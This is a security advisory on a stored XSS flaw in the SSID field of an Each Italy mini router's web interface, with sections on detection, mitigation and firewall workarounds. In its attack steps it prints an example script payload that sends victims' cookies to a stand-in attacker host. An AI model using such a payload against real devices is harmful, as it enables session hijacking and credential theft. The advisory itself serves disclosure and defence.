CVE-2025-65349: Each Italy Wireless Mini Router XSS Flaw

CVE-2025-65349 Overview

A Stored Cross-Site Scripting (XSS) vulnerability exists in the web management interface of the Each Italy Wireless Mini Router WIRELESS-N 300M v28K.MiniRouter.20190211. This vulnerability allows attackers to execute arbitrary JavaScript code by injecting a crafted payload into the repeater AP SSID field. Due to insufficient input sanitization, malicious scripts are stored and subsequently executed whenever any page is accessed at /index.htm.

Critical Impact
Attackers can persistently execute malicious scripts in the context of authenticated users accessing the router's web management interface, potentially leading to session hijacking, credential theft, or unauthorized configuration changes.

Affected Products

Each Italy Wireless Mini Router WIRELESS-N 300M
Firmware version v28K.MiniRouter.20190211
Web management interface at /index.htm

Discovery Timeline

2026-01-15 - CVE-2025-65349 published to NVD
2026-01-16 - Last updated in NVD database

Technical Details for CVE-2025-65349

Vulnerability Analysis

This Stored Cross-Site Scripting vulnerability stems from improper input validation in the router's web management interface. When a user configures the repeater AP SSID setting, the input value is stored without proper sanitization. The malicious payload persists in the device's configuration and is subsequently rendered without encoding whenever any page under /index.htm is accessed.

The attack requires low privileges (authenticated access to the router) but can affect any user who subsequently accesses the management interface, including administrators. Because the scope is changed (the vulnerability in the router affects users' browsers), the malicious script executes in the security context of the victim's browser session.

Root Cause

The root cause is a failure to implement proper input sanitization and output encoding for the repeater AP SSID parameter. The web management interface directly embeds user-supplied input into HTML pages without escaping special characters such as <, >, ", and '. This allows attackers to break out of the intended context and inject arbitrary HTML or JavaScript code that persists across sessions and affects all users viewing the affected pages.

Attack Vector

The attack is network-based, requiring the attacker to have low-privileged access to the router's web management interface. The exploitation flow involves:

The attacker authenticates to the router's web management interface
The attacker navigates to the repeater/wireless configuration section
A malicious JavaScript payload is injected into the AP SSID field (e.g., <script>document.location='http://attacker.com/steal?c='+document.cookie</script>)
The payload is stored in the router's configuration without sanitization
When any user (including administrators) accesses pages at /index.htm, the malicious script executes in their browser context

The vulnerability can be exploited to steal session cookies, perform actions on behalf of authenticated administrators, modify router configurations, or redirect users to phishing pages. Technical details and proof-of-concept information are available in the GitHub Security Advisory for CVE-2025-65349.

Detection Methods for CVE-2025-65349

Indicators of Compromise

Unusual or suspicious strings containing <script>, javascript:, onerror=, or similar XSS patterns in the repeater AP SSID configuration
Unexpected outbound connections from client browsers when accessing the router management interface
Modified SSID values containing encoded characters or HTML entities that don't correspond to legitimate network names
Browser console errors or unexpected script execution warnings when accessing /index.htm

Detection Strategies

Monitor router configuration changes, specifically watching for SSID values containing HTML tags or JavaScript code
Implement web application firewall (WAF) rules to detect XSS payloads in HTTP requests to the router management interface
Review access logs for the router's web interface for suspicious patterns or unusual parameter values
Use browser-based XSS detection extensions during administrative sessions to identify stored payload execution

Monitoring Recommendations

Enable logging on the router's web management interface if supported
Monitor network traffic for unusual data exfiltration patterns originating from administrative sessions
Regularly audit router configurations for unexpected changes to SSID and network parameters
Implement network segmentation to limit access to router management interfaces from untrusted networks

How to Mitigate CVE-2025-65349

Immediate Actions Required

Restrict access to the router's web management interface to trusted IP addresses only
Change administrative credentials and invalidate any existing sessions
Review and clean any suspicious entries in the repeater AP SSID configuration field
Consider disabling the web management interface temporarily if not required for operations
Implement network-level access controls to prevent unauthorized access to the management interface

Patch Information

No vendor patch information is currently available for this vulnerability. Users should monitor the GitHub Security Advisory for CVE-2025-65349 for updates and contact Each Italy for firmware update information.

Workarounds

Disable the web management interface and manage the router via alternative methods if available
Implement strict network segmentation to ensure only authorized administrators can access the management interface
Use a reverse proxy with XSS filtering capabilities in front of the management interface
Manually sanitize SSID values by removing any HTML tags or special characters from the configuration
Consider replacing the affected device with a router from a vendor that provides regular security updates

bash

# Example: Restrict management interface access via iptables (on upstream firewall)
# Only allow management access from trusted admin subnet
iptables -A FORWARD -d <router_ip> -p tcp --dport 80 -s 192.168.1.0/24 -j ACCEPT
iptables -A FORWARD -d <router_ip> -p tcp --dport 80 -j DROP